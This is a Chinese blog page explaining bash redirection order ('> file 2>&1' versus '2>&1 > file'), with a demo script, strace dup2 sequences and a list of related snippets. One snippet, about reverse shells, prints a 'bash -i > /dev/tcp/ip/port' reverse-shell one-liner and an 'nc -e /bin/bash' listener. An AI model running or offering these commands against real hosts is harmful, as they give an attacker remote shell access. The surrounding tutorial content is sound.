`
omygege
  • 浏览: 1356796 次
文章分类
社区版块
存档分类
最新评论

shell 2>&1

阅读更多

#!/bin/bash

rd_oe_2f()
{
exec >outfile 2>&1 #shell 命令行是从左到右解释,现将标准输出重定向到文件,再将标准错误重定向到标准输出,结果是将标准输出和错误输出定向到同一个文件。
echo "redirect out and error to outfile" #产生标准输出
ls asdfafd             #产生标准错误输出
}

rd_oe_2fe()
{

exec 2>&1 >outfile     #与上一个函数对比,从左到又解释命令将错误输出定向到标准输出,将标准输出定向到文件,结果时错误信息输出到标准输出,

              #标准输出的信息输出到文件

echo "redirect out and error to outfile"
ls asdfafd
}


rd_oe_2f

rd_oe_2fe

# 一下是网络上的一个解释,但是我在测试用strace测试的时候没有查到dup2函数

command > file 2>&1
首先是command > file将标准输出重定向到file中, 2>&1 是标准错误拷贝了标准输出的行为,也就是同样被重定向到file中,最终结果就是标准输出和错误都被重定向到file中。
command 2>&1 >file
2>&1 标准错误拷贝了标准输出的行为,但此时标准输出还是在终端。>file 后输出才被重定向到file,但标准错误仍然保持在终端。

用strace可以看到:
1. command > file 2>&1
这个命令中实现重定向的关键系统调用序列是:
open(file) == 3
dup2(3,1)
dup2(1,2)

2. command 2>&1 >file
这个命令中实现重定向的关键系统调用序列是:
dup2(1,2)
open(file) == 3
dup2(3,1)
分享到:
评论

相关推荐

    linux反弹shell的原理详解

    bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp/ip/port 0>&1 2>&1 bash -i 打开一个交互式的bash &是为了区分文件1和文件描述符1的 a>&b 的...

    linux shell 中 2>1的含义

    linux shell 中”2>&1″的含义 脚本: nohup /mnt/Nand3/H2000G >/dev/null 2>&1 & 对于& 1 更准确的说应该是文件描述符 1,而1 一般代表的就是STDOUT_FILENO,实际上这个操作就是一个dup2(2)调用.他标准输出到all_...

    shell中1小于/dev/null 2大于&1的含义

    shell中可能经常能看到:>/dev/null 2>&1,这里简单介绍下,方便需要的朋友

    shell 1>&2 2>&1 &>filename重定向的含义和区别

    主要介绍了shell 1>&2 2>&1 &>filename重定向的含义和区别,需要的朋友可以参考下

    Linux 命令 shell 重定向 >

    Linux 命令 shell 重定向 > 1、清空内容两种方式: cat /dev/null > filename > filename 2、清空文件内容,将显示结果重定向到文件 echo “this is a test” > filename 3、输入输出流组合 0:标准输入 1:标准...

    linux shell 中 2>&1的含义

    对于&1 更准确的说应该是文件描述符 1,而1 一般代表的就是STDOUT_FILENO,实际上这个操作就是一个dup2(2)调用

    深入理解Linux shell中2>&1的含义(全网最全,看完就懂)

    主要介绍了深入理解Linux shell中2>&1的含义,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧

    shell中1小于/dev/null 2大于1的含义

    shell中可能经常能看到:>/dev/null 2>&1 命令的结果可以通过%>的形式来定义输出 /dev/null 代表空设备文件 > 代表重定向到哪里,例如:echo “123” > /home/123.txt 1 表示stdout标准输出,系统默认值是1,所以”>...

    shell+python+expect更改设备密码并邮件通知

    #!/bin/bash i=$(cat /dev/urandom | head -n 10 | md5sum | head -c 10) echo $i >> /data/1.log 2>&1 expect test.expect $i >> /data/1.log 2>&1 sleep 3 python /opt/file/se.py $i

    基于C++实现简单的(控制台)词法分析器及指令注册【100012163】

    简单的词法分析器:Splitter 除满足普通的参数解析需求,还支持添加关键字,实现 >a-file.txt 分割成 > a-file.txt 的功能。...本 Shell 支持使用 > >> 1> 1>> 2> 2>> &1 &2 和 自定义输入输出和错误输出`。

    shell脚本定时检测服务健康指标

    检测服务监控脚本,可设置定时执行及...*/5 * * * * /bin/bash /home/mysh/service-health-check.sh >/dev/null 2>&1 开机启动: vim /etc/rc.local /bin/bash /home/mysh/service-health-check.sh >/dev/null 2>&1 &

    详解shell中/dev/null 2&1到底是什么

    相信大家经常能在shell脚本中发现>/dev/null 2>&1这样的语句。以前的我并没有去深入地理解这段命令的作用,照搬照用,直到上周我将这段命令不小心写成了2>&1 >/dev/null,出了一点小问题之后,我才开始去了解这段...

    shell命令精品教程

    第一部分s h e l l<br />1、 文件的安全与权限,<br />2、使用find和xargs<br />3、后台执行命令<br />4、文件名置换<br />5、shell输入与输出<br />6、命令执行顺序<br />7、文本过滤 <br />8、grep 家族<br />9、...

    shell 脚本自动搭建nfs服务的方法示例

    本文介绍了shell 脚本自动搭建nfs服务的方法...ping -c 1 172.16.13.254 >/dev/null && echo **********网络ok********** #第一步:关闭selinux和防火墙 setenforce 0 >/dev/null && echo **********selinux已关闭**

    leetcode2sumc-Code-Storm2019:力密码2019

    shell_sort(vector<int>& nums); // 希尔排序 void select_sort(vector<int>& nums); // 选择排序 void quick_sort_swap(vector<int>& nums, int low, int high); // 快速排序-交换元素 void quick_sort(vector<int>...

    详解shell中>/dev/null 2>&1到底是什么

    主要介绍了shell中>/dev/null 2>&1到底是什么,文中介绍的很详细,需要的朋友可以参考借鉴,下面来一起看看吧。

    shell编程2 shell编程2 shell编程2

    shell编程2 shell编程2 shell编程2shell编程2 shell编程2 shell编程2shell编程2 shell编程2 shell编程2shell编程2 shell编程2 shell编程2

    shell创建db2数据库

    shell创建db2数据库 ,shell创建db2数据库,shell创建db2数据库,shell创建db2数据库,shell创建db2数据库,shell创建db2数据库

    shell 1filename重定向的含义和区别

    当初在shell中, 看到”>&1″和”>&2″始终不明白什么意思.经过在网上的搜索得以解惑.其实这是两种输出. 在 shell 程式中,最常使用的 FD (file descriptor) 大概有三个, 分别是: 0 是一个文件描述符,表示标准输入...

Global site tag (gtag.js) - Google Analytics